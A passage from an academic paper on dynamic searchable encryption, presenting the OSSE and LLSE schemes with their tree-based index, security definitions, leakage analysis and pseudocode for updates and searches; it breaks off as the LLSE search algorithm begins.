result sizes, requires an optimal number of O(nw) operations
for search queries (and for very small hidden constants). Its
main drawback is a somewhat increased storage, as the size
of the encrypted storage grows logarithmically with the total
number of deletions (that said, in our experimental evaluation
we show that this is not a prohibitive factor in practice). Our
second scheme LLSE requires O(nw log log iw) operations for
searches with large enough results. While this is weaker than
our first result, LLSE still outperforms the prior state of the art
QOS by a factor or O(log iw/ log log iw), while also achieving
better deletion performance than OSSE and QOS, and asymp-
totically optimal storage (see Table 1). Moreover, both our
schemes retrieve the search result with a single roundtrip.

At the core of our results lies a carefully chosen arrange-
ment of entries in the encrypted dataset as conceptual keyword
binary trees (see Figure 3 and discussion in Section 4.1). With
insertions lying at the leaf level, subsequent deletions “prune”
this tree to minimize the number of traversed such nodes dur-
ing a search. The key challenge is how to manipulate these
trees without revealing significant information to the server.
Interestingly, our schemes use an oblivious map to store tree
data, however, they only access it during updates (using re-
trieved information as “guidelines” to prepare future searches)
thus making searches extremely fast and non-interactive.

Our contributions can be summarized as follows:
1. We propose OSSE, the first DSE that can achieve asymp-

totically optimal search performance (for nw ≥ log iw),
independently of prior deletions, and LLSE, a DSE with
search performance within an asymptotic loglog factor
from the optimal, that also achieves faster deletions and
linear storage. For both schemes, we prove their security
for standard leakages and show they are forward-and-
backward private (BP-III).

2. We propose a series of performance optimizations (Sec-
tion 6) and report on the efficiency of prototype imple-
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mentations of our schemes (Section 7.1) with encourag-
ing results (e.g., optimized OSSE takes < 1ms of com-
putation time to retrieve a result of 100 id’s and < 10ms
for a result of 20K id’s, from a database of 1M entries).

3. We compare the performance of our schemes vs. existing
quasi-optimal ones (Section 7.2) for different settings
(variable deletion rates, for both random and “structured”
deletions). Both our constructions consistently outper-
form QOS by roughly 1.2-4× but for large result sizes
and large deletion rates the improvement is up to 6.6×.

4. We also compare our schemes with conceptually sim-
pler DSE with “lazy” deletion (Section 7.2). As ex-
pected, as deletion rates increase our schemes outper-
form SDd from [20]. Concretely, for OSSE this happens
for rates 45-55%, and our fully optimized OSSE with re-
sult caching, in the best case, can outperform SDd even
after a single deletion. Surprisingly, for large enough
sizes this carries over even for a “succinct-client-storage”
version of our schemes albeit for larger deletion rates.

Related Work. In our security formulation, we use the stan-
dard SE definition of [18] extended to the dynamic setting
in [63]. The QOS scheme from Demertzis et al. [20] is cur-
rently the best existing quasi-optimal DSE and we bench-
mark our constructions’ performance with it. In [20], the
authors propose two versions of QOS with small O(1) and
large O(|W |) client storage. We mainly compare our schemes
with the second one, but in Section 7.2 we measure perfor-
mance in both settings. From a technical viewpoint, QOS
also encodes entries in keyword trees, however, the way they
are maintained cannot achieve our target of sublogarithmic
overhead. Moreover, the design of OSSE, allows us to benefit
from “early” stop while parsing the tree if empty nodes are
found, whereas QOS needs to keep traversing the layers.

Regarding “lazy” deletion schemes, there exist several can-
didates for performance comparison, e.g., from [9, 14, 20].
Among them, Mitra (with the recently proposed optimizations
of [17]) and SDd stand out. Although they have very similar
performance, we chose the latter since, as shown in [20], it
can give slightly faster searches, and it is the only one with
succinct client storage without performing oblivious map ac-
cesses during searches. One point to note is that the way all
existing DSE schemes implement “lazy” deletion is by stor-
ing a separate record for each deletion. This is unlike “lazy”
deletion in plaintext databases where the deletion is usually
marked in-place (e.g., using a special flag). Storing this entry
separately is necessary; touching the same location in the en-
crypted index during an update as a previously accessed one
would violate forward privacy (see Section 2). Consequently,
when using such a scheme the server observes the result size
“growing” after deletions, whereas in our schemes it “shrinks.”
In both cases, this is already captured by the standard leakage
profile used in the literature (see Section 2 and Appendix B.1).
We also note many of these DSE schemes use similar building

blocks as ours (encrypted maps and oblivious indexes). How-
ever, the way we use them to embed our “shrinking” keyword
trees (Section 4.1) is what allows us to match practical per-
formance with theoretical improvements, achieving the first
scheme with optimal search.

Another DSE scheme is Aura [65] that uses revocable en-
cryption to achieve single-roundtrip searches, same as ours.
However, its approach significantly blows up the client stor-
age as it requires storing a representation of all deletions
locally. Moreover, during searches [65, Alg. 1] the server ex-
tracts all insertion and deletion entries for keyword w before
“filtering out” the latter so that scheme’s search is (at least)
linear to aw in the worst case. Finally, recent work by Patel et
al. [56] shows it is fundamentally impossible (in the leakage
cell probe model) to achieve sublogarithmic search overhead
if one requires searches and updates to be independently simu-
latable without state “carrying” across them during simulation.
In relation to this, our schemes are positive evidence that it
is possible to overcome this lower bound (even in the more
stringent setting with deletions) if one can settle for indepen-
dent update simulation (guaranteed by our forward privacy)
whose state is then available for subsequent searches.

2 Preliminaries

We denote by λ a security parameter and by v(λ) a negligible
function in λ. PPT stands for probabilistic polynomial-time.
Our protocols are executed between two parties, a client and
a server. The notion P(x;y) denotes a (possibly multi-round)
protocol execution where x and y are the client’s input and
the server’s input, respectively.

We consider a collection of F files/documents (this is an
abstraction that can possibly capture other data types, e.g.,
semi-structured data, database records, etc.) with identifiers
id1, . . . , idF , each of which contains textual keywords from
a given alphabet Λ. The database DB consists of keywords
and file identifiers such that (w, id) ∈ DB if and only if the
file id contains keyword w. Let W denote the set of all key-
words in DB, |W | its cardinality, and N an upper bound on
the total number of keyword/document pairs. Then, DB(w)
corresponds to the set of documents containing keyword w.

We rely on classic cryptographic tools, such as pseudoran-
dom functions and standard symmetric-key encryption. For
completeness, we provide their descriptions in Appendix A.

Oblivious Maps. A map (dictionary) is a data structure that
maps addresses (keys) to values and provides read (get) and
write (put) access methods. An oblivious map (OMAP) is a
privacy-preserving version of a regular map that hides the
type and content of operations. An OMAP consists of three
procedures: (i) OMAP.Setup for initializing the data structure,
(ii) OMAP.put to add/overwrite a key/value pair, and (iii)
OMAP.get to retrieve the value for a given key. Intuitively,
all equal-length sequences of data accesses (get/put) are in-
distinguishable from each other, even for an adversary that
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stores the data structure itself (without knowing the secret
key). More concretely, this interaction can be simulated given
only the number of operations (see [66] for the detailed secu-
rity formulation). In our schemes, we use the popular OMAP
of Wang et al. [66] which stores an AVL-tree inside a PathO-
RAM [64] oblivious array. For a map with capacity N, each
access takes O(log2 N) operations and O(logN) roundtrips.
We refer interested readers to [66] for additional details.

3 Dynamic Searchable Encryption

A dynamic symmetric searchable encryption scheme (DSE) Σ

consists of algorithm Setup, and protocols Search and Update
that are executed between a client and a server.
• Setup(1λ,N) returns (K,σ,EDB) where K is the client’s se-

cret key, σ its local state, and EDB is an (empty) encrypted
database, initialized for capacity N, sent to the server.

• Search(K,w,σ;EDB) is a (possibly interactive) protocol
for retrieving DB(w), and may also modify K,σ,EDB.

• Update(K,op, id,w,σ;EDB) is a (possibly interactive) pro-
tocol for inserting/removing a document-keyword entry
(id,w) to/from the database. Operation op is either add or
del and the protocol may modify K,σ and EDB.

Here, we mostly follow the API description of [8,9,14]. Using
these procedures, the client runs Setup for an empty database,
followed by up to N executions of insertions to “populate”
EDB. Other works [28, 46] propose different but functionally
equivalent definitions for Update (e.g., inserting or deleting
an entire document, which can be decomposed to multiple
calls of Update). Finally, the above definition isolates the goal
of retrieving only DB(w) during Search, i.e., the id’s of all
files/documents containing w. In some applications, the client
would like to retrieve the actual documents; this is omitted
from our model as it can always be done with an extra round
of interaction after the completion of Search.

At a high level, a DSE is correct if the returned DB(w)
result is correct for every query and the given sequence of
prior updates. The security of a DSE scheme is parametrized
by a leakage function L = (LSt p,LSrch,LU pdt) that captures
the information that is revealed to server during the execution
of the different processes. LSt p corresponds to leakage dur-
ing setup, LSrch during a search operation, and LU pdt during
updates. Commonly encountered types of leakage in the rele-
vant literature, that also occur with our schemes, consist of: (i)
search pattern that reveals which searches are related to the
same w, (ii) volume pattern, i.e., |DB(w))| during a search for
w, and (iii) database size leakage during setup (in our case,
the upper bound N). Another very important type of leakage
is access pattern that reveals the actual contents of DB(w)
when w is searched for. This is inherently unavoidable when
the actual documents need to be retrieved as explained above
(unless stored with “costly” oblivious storage). Here, we fo-
cus on retrieving DB(w). Thus our schemes do not directly

leak this but, when used in an application that retrieves the
actual documents, this has to be taken into account.

Informally, a secure DSE scheme with leakage L should
reveal nothing about the database DB other than this leakage.
This is formally captured by a standard real/ideal experiment
with two games RealDSE, IdealDSE presented in Figure 8 in
Appendix B, using the following formulation from [63].

Definition 1. A DSE scheme Σ is adaptively-secure with
leakage function L , iff for any PPT adversary Adv issuing
polynomially many queries q, there exists a stateful PPT sim-
ulator Sim = (SimInit, SimSearch, SimU pdate) such that
|Pr[RealDSE

Adv (λ,q) = 1]−Pr[IdealDSE
Adv,Sim,L(λ,q) = 1]|< v(λ).

As explained above, many DSE schemes store deletions as
actual entries in EDB and filter them to retrieve the actual re-
sult during searches. Ghareh Chamani et al. [14], proposed the
following definition for schemes that avoid this and achieve
search time close to the optimal O(nw).

Definition 2. A DSE scheme Σ has optimal (resp.
quasi-optimal) search, if Search takes O(|DB(w)|) (resp.
O(|DB(w)|· polylog(N))) operations.

Forward & Backward Privacy. Forward privacy [15, 63]
limits the information revealed due to updates in EDB. Infor-
mally, a scheme is forward private if it is not possible to relate
an update to previous operations, when it takes place. E.g.,
it should be impossible to tell whether an insertion is for a
new keyword or a previously existing/searched one. Previous
works (e.g., [69]) have shown the potential of forward privacy
to thwart certain types of leakage-abuse attacks.

Definition 3. An L-adaptively-secure DSE scheme that sup-
ports addition/deletion of a single keyword is forward pri-
vate iff the update leakage function LU pdt can be written
as: LU pdt(op,w, id) = L ′U pdt(op, id) where L ′ is a stateless
function, op is insertion or deletion, and id is a file identifier.

Backward privacy [9] specifies the server should not be able
to learn the id’s of documents that contained w, if they have
since been deleted. Clearly, this is only meaningful if a search
for w did not take place prior to this deletion. Bost et al. [9]
proposed three different “flavors” of backward privacy with
varying leakage patterns, all of which achieve the minimum re-
quirement of hiding id’s of such deleted entries. Here, we only
aim for BP-III, according to the following definition from [9]
(the involved leakage functions are defined in Appendix B.1).

Definition 4. An L-adaptively-secure DSE scheme has back-
ward privacy (BP-III), iff LU pdt(op,w, id) = L ′(op,w) and
LSrch(w) = L ′′(TimeDB(w),DelHist(w)), where L ′ and L ′′

are stateless functions.

4 Optimal-Search DSE (OSSE)

We are now ready to present our first construction OSSE.
We first describe the main idea of maintaining a conceptual
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Figure 1: OSSE: Deletion pruning

binary tree to store the entries for each keyword w and then
we provide details about the algorithms of the scheme.

4.1 Labeled Binary Trees for Stored Entries
In our schemes, we store entries of the form (w, id) such that
keyword w appears in document (more generally, record) id.
Conceptually, each such entry is mapped to a leaf of a com-
plete binary tree Tw with N leafs (where N is an upper bound
for the number of total entries in the dataset), in chronolog-
ical order from left to right. The first entry for w is stored
at the leftmost leaf, etc. We consider a function lab(v) that
maps each tree node v to a unique numerical label, as follows.
First, leafs are ordered 1, ...,N left-to-right, then the remaining
nodes are ordered bottom-to-top and left-to-right. E.g., nodes
directly above the leafs are labelled starting from the left as
N +1, . . . ,3N/2, as shown in Figure 3. In the following, we
often refer to tree nodes directly by their labels. Note that we
use one tree for each keyword but the schemes do not require
storing and maintaining “complete” trees (that would make
the storage N · |W |)—these are just “conceptual” encodings
of the N actual (w, id) entries spread among keywords.

Having explained Tw, extracting the result DB(w) after iw
insertions can be achieved trivially by starting from the Mini-
mum Covering Subset (MCS) of nodes for the leafs in [1, iw].
The MCS consists of the smallest set of nodes whose leaf
descendants are exactly the leafs labeled 1, . . . , iw. E.g., in
Figure 3(top), the MCS of [1,15] is {29,27,23,15}. Follow-
ing the edges downwards from the MCS, this process will
parse in total < 2iw nodes. However, recall that our goal is
to do better than this, in the presence of deletions. When a
deletion takes place, we "remove" from Tw the corresponding
leaf node v and its parent pp, effectively “pruning” the tree.
In practice, we do this by setting the leaf’s sibling sib as the
direct child (left or right, depending on the tree topology) of
the grandparent gp of v, skipping its parent pp. We illustrate
this in Figure 1. Handling deletions in this way, leads to the
following result which we prove as part of our analysis: Given
a sequence of iw insertions and dw ≤ iw deletions, the number
of nodes of Tw below the MCS that need to be accessed to
extract the result DB(w) with size nw is < 2 · |nw|.
Intuition: From trees to a secure index. Next, we will use
these keyword trees to build the secure index for our DSE.
The “classic” approach followed by many prior works [8,
9, 11, 11, 14, 20, 28] is to take each entry (in our case, its
corresponding tree node) and store it in an encrypted map.

(w, 29)

Parent: 31

Left Child 
17

Right Child

26

OSSE LLSE

Left Child 
17

Right Child

26

Left Child 

Access Counter 
1

Right Child 

Access Counter 
0

Figure 2: OMTree data structure of OSSE and LLSE, with
node 29 in Figure 3(middle) as an example.

This is a standard key-value hashmap but: (i) keys (positions)
are computed with a pseudorandom hash function, and (ii)
values are encrypted in a way that only reveals them to the
server during searches (and for leaf nodes, not even then).
Although this approach gives us the desired efficiency benefit,
in our case, it introduces a subtle security issue. The same
node may be accessed repeatedly during deletions. E.g., in
Figure 3(bottom), deleting “cousin” leafs 10 and 11 requires
“touching” their grandparent 27 twice. Even though the value
in the hashmap is encrypted, the server can clearly see the
same position is accessed both times, which unfortunately
violates forward privacy.

To avoid this issue, in our schemes we use the following
trick. First, we give each Tw node its own increasing access
counter, initially set to 0 and incremented by 1 each time the
node is modified. Next, when pseudorandomly computing the
new encrypted map position for this node after it is accessed
during an update, we also include the incremented access
counter (and a freshly encrypted value). Thus, a new write
to update the information of an existing tree node is indistin-
guishable from random and cannot be linked to any previous
operation. The remaining challenge is how can the user know
these access counters, which is necessary both for searches
and for updates. We solve this by storing node information
also in an oblivious index (see Figure 2) that, crucially, is
accessed only during updates. Then during searches, our two
schemes follow a different strategy: the first stores node ac-
cess counters in their parent nodes, whereas in the second the
server “finds” the correct access counter by performing a bi-
nary search. In the next parts, we present in detail all the data
structures used in our DSE and the details of our algorithms.

4.2 OSSE Data Structures & Algorithms

We are now ready to describe OSSE in detail. First, we present
the different data structures that we use to maintain and ma-
nipulate the trees Tw for the different keywords.

• OMTree is an oblivious map that maps pairs of key-
words and node labels (w, lab(v)) to that node data struc-
ture v containing the following: (v.le f t, v.le f tAcc, v.right,
v.rightAcc). These are the label of the left child of v with
its access counter, and the label of the right child of v with
its access counter (see Figure 2). This oblivious map is
accessed during updates (but not searches) to change Tw.

• OMDel is an oblivious map that maps pairs of keywords

USENIX Association 31st USENIX Security Symposium    2429



timestamp t1

timestamp t2

timestamp t3

Inserted nodes Nodes that are being deleted Deleted nodes Pointer to the new child MCS nodes to be accessed 
during a search operation

31

7 8

17

1 2

18

3 4

25

5 6

19 20 23

13

26

29

14

24

15 16

28

30

21

9 10

22

11 12

27

31

7 8

17

1 2

18

3 4

25

5 6

19 20 23

13

26

29

14

24

15 16

28

30

21

9 10

22

11 12

27

31

7 8

17

1 2

18

3 4

25

5 6

19 20

26

29

16

23

13 14

24

15

28

30

21

9 10

22

11 12

27

Figure 3: Example of the tree Tw state after executing insertion/deletion with OSSE and LLSE. (top) The tree after 15 insertions
for w. (middle) The tree when deleting node 8 (and consequently its parent 20) and sibling nodes 3,4 (which also deletes their
parents 18 and grandparent 25). After these deletions, remaining siblings replace the removed parent nodes (e.g., 7 is now the
right chilg of 26). (bottom) The tree when deleting nodes 9-15. After the deletion, the only remaining node in the right subtree
(node 16) will be the right child of 31 (for future insertion). In all cases, nodes in blue boxes denote the MCS nodes that will
have to be accessed in a subsequent search for w.

and document identifiers (w, id) to lab(v), where v is the
leaf of Tw that stores this entry. This is accessed only during
deletions, to efficiently identify the node to be pruned.

• EM is an encrypted map mapping node label and access
counter pairs (lab(v),acc) to: (i) stored document id, if v is
a leaf, and (ii) (v.le f t, v.le f tAcc, v.right, v.rightAcc), oth-
erwise. It is traversed in searches and modified in updates.

• MCnt is a plaintext map stored at the client that maps key-
word w to counters (cntw, iw,dw), corresponding to number
of searches, insertions, and deletions for w.

• MT ks is a plaintext map stored at the server that maps pairs
of tokens and node labels (tk0, lab) to tokens ctk. The look-
up token tk0 is unique for each keyword w. This is used to
facilitate searches for w that involve nodes that have been
written/removed prior to the previous search, and it returns
the correct “old” token for this node entry. By default, in
each search the server first searches at EM with the latest
token tk received from the client, and only in case this
returns nothing it falls back to MT ks.

Setup. The client first initializes these data structures (with
capacity N for the two OMAPs). It then samples a pseu-
dorandom function key k← PRF.Gen(1λ) and a symmetric

encryption key sk← SKE.Gen(1λ). Its local state σ consists
of MCnt and the state of the two OMAPs, and its key K is
(k,sk). Finally, it sends EDB = {EM,OMDel ,OMtree} to the
server. Throughout the scheme, all parties have access to hash
functions H0,H1 (modelled as random oracles).
Insertion. The process to insert a keyword and document
identifier pair (w, id) is shown in Algorithm 1. The client first
computes the label of the leaf where this will be stored based
on its insertion counter from MCnt and stores a corresponding
entry at OMDel . It also uses the PRF F to compute a token tk
that is unique for this keyword and the number of previous
searches. Finally, it creates an entry to be stored in EM by the
server. It calculates the address by hashing tk, the leaf’s label,
and its access counter 1, and the value by encrypting id.
Deletion. Removing an entry with OSSE requires more ef-
fort, as shown in Algorithm 2. First the client increments the
deletions counter dw and retrieves the label of the node of Tw
that stores the entry (w, id) to be removed from OMDel (lines
1-3). The next step requires retrieving all the nodes of Tw
from the root of the tree down to node pos, with a logarithmic
number of OMAP accesses. Using the information from the
retrieved nodes, the client deduces which are the actual parent
pp, grandparent gp, and sibling sib of pos (lines 4-11). Then
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Algorithm 1 OSSE.Update(K,add,w, id,σ;EDB)

Client:
1: (cntw, iw,dw)←MCnt .get(w); tk← Fk(w,cntw)
2: MCnt .put(w,(cntw,++iw,dw))
3: OMDel .put((w, id), iw)
4: addr← H0(tk, iw,1); val← Enc(sk,(w, id))
5: Send (addr,val) to server

Server:
6: EM.put(addr,val)

it can “prune” the tree and remove pos and pp, by setting sib
as the direct (left or right) child of gp (lines 12-14).

Finally, it needs to store all this updated information back
to EDB. As in insertion, this will take place in two parts. Once
in EM for future searches and once in OMTree for future up-
dates. To guarantee forward privacy, the entries to EM must
be unrelated to prior entries for w from the viewpoint of the
server. This is done by incrementing the access counter acc of
retrieved nodes (stored at all nodes and their parents) and then
computing the new EM address-value pairs for these incre-
mented counters (lines 15-23). Addresses are then computed
as in insertion. Values are computed by XOR’ing the node’s
data with the output of H1 on the same input as for the address.
Due to the randomness of H1 and the pseudorandom token
tk, these writes to EM appear entirely random to the server.
We note that some of these nodes are “redundant” as they
may have been removed from prior deletions. Still, to hide
this information the client puts back their entries, although
they will not be used for searches. OMTree will also store the
updated node information (line 19); these accesses do not
reveal any information due to the OMAP security.

For en example, see Figure 3(middle). When leaf 8 is re-
moved, its parent 20 is also removed and its sibling 7 will
become the new right child of its grandparent 26. Moreover
the access counters of all nodes along the path to the root (26,
29, and 31) are increased to 1.

Search. Having spent the necessary effort to maintain and
prune Tw during updates, we can now benefit during searches
(Algorithm 3). The client computes s, the next-next power of
2 from iw. This is the parent of the largest tree of the MCS and
let start be its label. Another way to view it is that this is the
highest node in Tw that may be affected due to deletions in the
leaf range [1, iw]—if all of them are deleted—which makes
it the ideal starting point of the search. (For completeness
OSSE maintains an extra node above the root of Tw; we omit
it from the presentation for simplicity.) Then, the client needs
to calculate the access counter for s. This is very easy due to
two facts. First, each deletion increments the access counter
of the entire path up to the root of Tw. Second, s lies on this
path for all prior deletions for w. Thus, its access counter is dw
which is why we store this deletion counter in MCnt . Finally,
the client sends (iw,start,dw) to the server, together with the

Algorithm 2 OSSE.Update(K,del,w, id,σ;EDB)

Client:
1: (cntw, iw,dw)←MCnt .get(w); tk← Fk(w,cntw)
2: MCnt .put(w,(cntw, iw,++dw))
3: pos← OMDel .get((w, id))
4: Let V,KV ← /0

5: Let Labs be the labels on the path from root to leaf pos
6: for l ∈ Labs\ pos do
7: vl ← OMTree.get((w, l))
8: if vl is null then initialize to default
9: Add vl to V

10: Let pp,gp be the parent and grandparent of pos
11: Let sib be the label of the sibling of pos
12: if pp is left child of gp then
13: gp.le f t← sib; gp.le f tAcc← sib.acc
14: else gp.right← sib; gp.rightAcc← sib.acc
15: for each vl ∈V do ▷ start from root
16: Let vl′ be the child of vl on the path
17: if vl′ is left child of vl then vl .le f tAcc++
18: else vl .rightAcc++
19: vl .acc++; OMTree.put((w, l),vl)
20: addr← H0(tk, l,vl .acc); t← H1(tk, l,vl .acc)
21: val← t⊕ (vl .le f t,vl .le f tAcc,vl .right,vl .rightAcc)
22: Add (addr,val) to KV
23: Send KV to server
Server:
24: for (addr,val) ∈ KV do EM.put(addr,val)

pseudorandom token tk for this combination of keyword and
search counter (and increments this counter), and tk0, the first
search token for w that serves as a unique identifier.

Armed with this information, the server traverses Tw recur-
sively from start to leafs containing the result (ignoring nodes
that do not have any descendant leafs in [1, iw]. To “access”
a node, it computes its candidate entry in EM, in a way that
mimics how this was computed by the client during previous
updates. With access to the token tk, the server retrieves the
actual information stored for intermediate nodes (i.e., EM is
a response-revealing encrypted map): their children and their
children’s access counters. In this way, it can keep traversing
the tree until it either finds leafs, or it hits null entries. Note
that, for each label the server first “tests” the latest token tk
(line 13); if this does not return anything, it looks up the entry
for tk0 in MT ks to see if there is an entry to be found for this
label from a prior token for w (lines 14-18).

For instance, see Figure 3(bottom). It starts from s (the
conceptual node above root 31). Knowing iw = 15, it ignores
its right child (node 16), moving to its left child node 27 and
from then to 17, 26, etc., each time reading the access counter
from the parent. If a leaf is reached, the server adds the re-
trieved ciphertext from EM to the result (note that leaf access
counters are never incremented) (line 19). More interestingly,
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if a null entry is reached this implies no deletions have taken
place among the leafs of the sub-tree rooted at this node. So
the server can immediately add the EM entries of all these
leafs to the result (lines 27-30).

4.3 OSSE Efficiency & Security Analysis

We now analyse OSSE in terms of its asymptotic efficiency
and its achieved security properties. First, in Appendix C.1
we prove the following lemma regarding its search efficiency.

Lemma 1. For a keyword w for which iw insertions have
taken place and |DB(w)|= nw, the search process accesses
at most 2nw + log iw nodes from Tw.

From the above, it follows that search takes O(nw + log iw)
operations, i.e., linear in the result size and independent from
the number of insertions. Moreover, searches require a single
roundtrip to complete. Regarding updates, insertions take
just one oblivious map and encrypted map access. Deletions
require O(logN) such operations to access the path above the
node to be removed. The setup takes O(N) time (for N an
upper bound on the number of entries in the dataset). Finally,
client storage consists of three counters per keyword in |W |,
as well as the oblivious maps’ client state and the secret keys.
The server storage is linear in the total number of entries N
but it grows logarithmically with the number of deletions D,
so it is overall O(N +D logN). In the absolute worst case, if
all entries are deleted, this becomes O(N logN).

The correctness of OSSE (i.e., that a search returns the cor-
rect result DB(w), as formulated by all prior updates for w)
follows from the construction and the correctness of the un-
derlying primitives, with one exception. If two distinct inputs
to H0 or H1 (or the same input for the two different hash func-
tions) map to the same hash value, this affects the correctness
of the scheme, e.g., as the latter entry will “overwrite” the
prior one. This is a common issue with prior DSE works that
use an encrypted map as we do (e.g., [8, 28]) and the solution
is to pick the range of H0,H1 so as to make this probability
negligible in the security parameter λ. Let M be the total
number of entries that will be stored in EM throughout the
execution (for OSSE, M ≤ N logN). If we then set the range
of H0,H1 to 2λ+2logM , a simple birthday problem analysis
guarantees the negligible probability of this event.

Regarding the security of OSSE, we can analyze its leakage
as follows. First, during setup the server only learns the upper
bound N. During updates, note that the server’s view consists
of two types of data: (i) the messages involved in the oblivi-
ous map access (or accesses for deletions), (ii) the (addr,val)
pairs it inserts to the encrypted map. For (i), assuming a se-
cure oblivious map these leak no information. For (ii), each of
these is computed with a new keyword/token/access-counter
combination, even when it pertains to a previously accessed
node, using a secure PRF. Without access to the token tk
used as input to this PRF (this will only be revealed during a

Algorithm 3 OSSE.Search(K,w,σ;EDB)

Client:
1: (cntw, iw,dw)←MCnt .get(w);
2: tk← Fk(w,cntw); tk0← Fk(w,0)
3: MCnt .put(w,(++cntw, iw,dw))
4: Let s be the smallest power-of-2 such that iw ≤ s
5: Let v be the root of the subtree of leafs 1, . . . ,2s
6: start← lab(v)
7: Send (tk,start, iw,dw, tk0) to server

Server:
8: Initialize emptylists TLabs,Res
9: Append (start,dw) to TLabs

10: while TLabs ̸= /0 do
11: Remove the first entry (lab,acc) from TLabs
12: if lab≤ N then acc← 1 ▷ lab is a leaf
13: ctk← tk; val← EM.get(H0(ctk, lab,acc))
14: if val is null then
15: ctk←MT ks.get(tk0, lab)
16: if ctk ̸= null then
17: val← EM.get(H0(ctk, lab,acc))
18: else MT ks.put((tk0, lab),(tk))
19: if lab≤ N then Append (lab,val) to Res ▷ is a leaf
20: else if val ̸= null then
21: data← val⊕H1(tk, lab,acc)
22: Parse data as (le f t, le f tAcc,right,rightAcc)
23: if le f t or right = ⊥ then set to default values
24: Append (le f t, le f tAcc) to TLabs
25: if ∃ leaf l below right with l ≤ iw then
26: Append (right,rightAcc) to TLabs

27: else ▷ no deletions below lab
28: Let l be the leftmost leaf below lab
29: Let l′ be the rightmost leaf below lab, with l′ ≤ iw
30: Append (i,0) to TLabs, for i = l, . . . , l′

31: Send Res to client
Client:
32: Initialize set DB(w)← /0

33: for (lab,val) in Res do Add Dec(sk,val) to DB(w)

subsequent search), these addresses and values are indistin-
guishable from random when they refer to intermediate nodes.
When pertaining to leafs, the values are encrypted using a
secure encryption scheme, and exactly one such value is sent
for insertions. Finally, the total number of accesses and entries
is fixed depending only on the type of operation (and N for
deletions). From the above, OSSE satisfies forward privacy.

In a search for keyword w, the server learns tokens tk0, tk.
The first reveals when previous searches for w took place.
With the second, the server can exhaustively access EM for
all labels and learn the entire topology of Tw. Remembering
when these entries were written reveals when prior insertions
and deletions for w took place. Moreover, by extracting all ver-
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sions of Tw nodes for different access counters and correlating
this with the update timestamps reveals the specific insertion
that each deletion cancelled. However, since document ids
remain encrypted, the server cannot learn which documents
contained w but have since been removed (if no search for
w took place since). Based on this leakage profile, OSSE
satisfies backward privacy. We formally state and prove its
security in Appendix C.2.

5 Log-Log Search DSE with Improved Storage
& Deletion (LLSE)

Our OSSE scheme achieves excellent search performance,
however, during deletions it performs a logarithmic number
of oblivious/encrypted map accesses. Moreover, this also in-
creases storage. Here we present our second scheme, LLSE,
that requires only O(1) map accesses during updates and has
O(N) storage, at the trade-off of an extra O(log log iw) factor
for searches (which is still asymptotically better than the pre-
vious state-of-the-art quasi-optimal search scheme from [20]).

The main idea behind LLSE is to still use the same Tw tree
structure but enhance it so that each node has a parent pointer.
This allows us, during deletes, to access directly the node to be
removed, its parent, and its grandparent, without starting each
time from the root. This simple idea introduces a negative
side-effect: during searches we can no longer rely on every
node to store its children’s access counters. To overcome this,
for each encountered node, the server performs a binary search
to find the largest acc for which there exists an entry in EM.
It is easy to see that the upper bound for this binary search is
roughly twice the height of the node in Tw, which yields the
O(log log iw) extra overhead. The actual implementation of
this is trickier as one needs to maintain access counters across
searches (without re-encrypting every node/access-counter
combination entry, as this increases the search overhead to
O(log iw)), as we explain in detail next.

5.1 LLSE Data Structures & Algorithms

First we describe the involved data structures. These are the
same as for OSSE, with the following exceptions.
• OMTree stores for node v its own access counter acc, and

its left child, right child, and parent (v.le f t, v.right, v.prnt),
but not their access counters (see Figure 2).

• EM is the same as OSSE, except for non-leaf nodes v for
which it stores (v.le f t, v.right), but not access counters.

• MCnt , instead of dw, stores locally the label of the correct
parent for the next future insertion. Initially, this is N +
1 (the natural parent of the leaf with label 1). After iw
insertions, it is set to the natural parent of the leaf with
label iw +1. However, if the most recent updates for w are
a series of one or more deletions, the parent for the next

Algorithm 4 LLSE.Update(K,op,w, id,σ;EDB)

Client:
1: (cntw, iw,nxtPrntw)←MCnt .get(w); tk← Fk(w,cntw)
If update is insertion (op = add)

2: OMDel .put((w, id), iw)
3: OMTree.put((w, iw),(⊥,⊥,nxtPrntw))
4: nxtPrntw← label of the parent of iw +1 (unused) leaf
5: MCnt .put(w,(cntw,++iw,nxtPrntw))
6: addr← H0(tk, iw,0); val← Enc(sk,(w, id))
7: Send (addr,val) to server
If update is deletion (op = del)

8: pos← OMDel .get((w, id))
9: v← OMTree.get((w, pos))

10: pp← OMTree.get((w,v.prnt)) ▷ parent node
11: gp← OMTree.get((w, pp.prnt)) ▷ grandparent node

▷ if parent/grandparent not found set it to default
12: if v is left child of pp then sibPos← pp.right
13: else sibPos← pp.le f t
14: sib← OMTree.get((w,sibPos)) ▷ sibling node
15: sib.prnt← pp.prnt
16: if pp is left child of gp then gp.le f t← sibPos
17: else gp.right← sibPos
18: gp.acc++
19: Update nxtPrntw if it is affected
20: MCnt .put(w,(cntw, iw,nxtPrntw))
21: addr← H0(tk, pp.prnt,gp.acc)
22: val← H1(tk, pp.prnt,gp.acc)⊕ (gp.le f t,gp.right)
23: OMTree.put((w,sibPos),sib)
24: OMTree.put((w, pp.prnt),gp)
25: Send (addr,val) to server
Server:
26: EM.put(addr,val)

insertion lies higher in Tw. The correct value for this pointer
is calculated by the client during updates.

• MT ks now stores, not only the prior token version for a
label, but also the access counter of the latest previous
entry. The goal of this is subtle but crucial: It is necessary
for launching the binary search for the correct range. This
is best illustrated by an example. Consider that during the
first search for w, the binary search for node v with height
h is correctly executed in the range [0,2h] and the result is
acc. In the second search for w the server will try to run the
same binary search in vain as at least some of the entries are
the ones that were calculated with the old token (from the
first search)! To avoid this, MT ks stores for v the old token
and the access counter acc, so that the server can retrieve it
and then launch the next binary search in [acc,2h].

Setup. As in OSSE, this process initializes all data structures
and generates keys. The one difference is the capacity of
OMTree which is 2N as it will store all nodes, including leafs.
Insertion. This proceeds very similarly with OSSE, as shown
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in Algorithm 4. The main difference is that it takes one ad-
ditional OMAP access in order to write the new leaf’s infor-
mation to OMTree (line 3). This is necessary for finding its
parent quickly, in case it is deleted in the future.
Deletion. This is basically a “lightweight” version of dele-
tions with our first scheme. Since nodes store their parents’
labels, we can now retrieve the node pos to be deleted from
in OMTree, and directly from this its parent and grandparent
(Algorithm 4, lines 9-11), without having to fetch the entire
path from the root. The remaining of the algorithm is essen-
tially the same as before, except for the need to calculate what
the next parent’s label nxtPrnt for w will be. This is only
affected if the current deletion removes the latest entry, or
is part of a series of consecutive deletions that includes the
latest entry. Finally, this process adds only one entry to EM,
for the updated grandparent node, which makes the storage
grow only linearly with the total number of operations.
Search. The search process for LLSE is shown in Algorithm 5.
The client first sends the necessary data to bootstrap the search.
